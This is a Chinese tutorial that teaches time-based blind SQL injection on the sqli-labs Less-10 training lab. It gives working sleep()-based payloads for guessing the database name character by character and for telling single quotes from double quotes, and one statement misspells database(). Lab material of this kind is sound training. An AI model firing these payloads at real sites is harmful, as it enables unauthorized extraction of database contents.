原理
时间盲注和上一节的布尔盲注其实差不多,只是还多了一个场景:当无论什么情况下都显示一样的页面的时候可以用时间盲注,通过页面的响应时长来判断信息。
注入语句:
if(left(dababase(),1)='a',0,sleep(10));
这条语句表示如果当前库名的第一个字符是 a,那么页面会在10秒后才显示出来。
练习
sqli-labs 的 less-10:
注入判断
url 后输入 id:?/id=1,页面返回:you are in
输入:?id=1',页面返回:you are in
输入:?id=1' and '1'='1,页面返回:you are in
输入:?id=1' and '1'='2,页面返回:you are in
不管什么情况页面返回的都是 you are in,那我们就可以用时间盲注通过页面返回 you are in 的时间来获取信息获取信息
- 猜测库名:
输入:?id=1" and if(left(database(),1)='a',0,sleep(5)) --+
可以看到网页上有个圈圈转了几秒之后才消失,说明库名第一个字符不是 a,替换 a 为别的字母,直到页面是马上响应表示当前字符是正确的。
当然 if 判断也可以反过来,是正确的字符响应时间长,不是正确的马上响应:
?id=1" and if(left(database(),1)='a',sleep(5),0) --+ - 查询其他数据同理。
- 单双引号
不知道大家是否有注意,less-10 我用的是 『id=1"』,1 后面是一个双引号,前面小节用的都是单引号,因为 less-10 的代码本身是用的双引号。
那么如何判断单双引号,同样也可以通过响应时长:
输入:?id=1' and if(true, sleep(5), 0) --+,如果页面 5 秒后响应则是单引号
输入:?id=1" and if(true, sleep(5), 0) --+,如果页面 5 秒后响应则是双引号
毕竟是 SQL 注入,还是需要对 SQL 语法有一定的了解,建议系统学习一下,注入起来也更加容易理解,哪里不懂要善用搜索。
总结
盲注本身原理是非常简单的,就两个反馈,正确和错误,通过这两个反馈来获取我们想要的数据,只是手工过于繁琐,有兴趣的可以学习使用工具,这里暂不深入。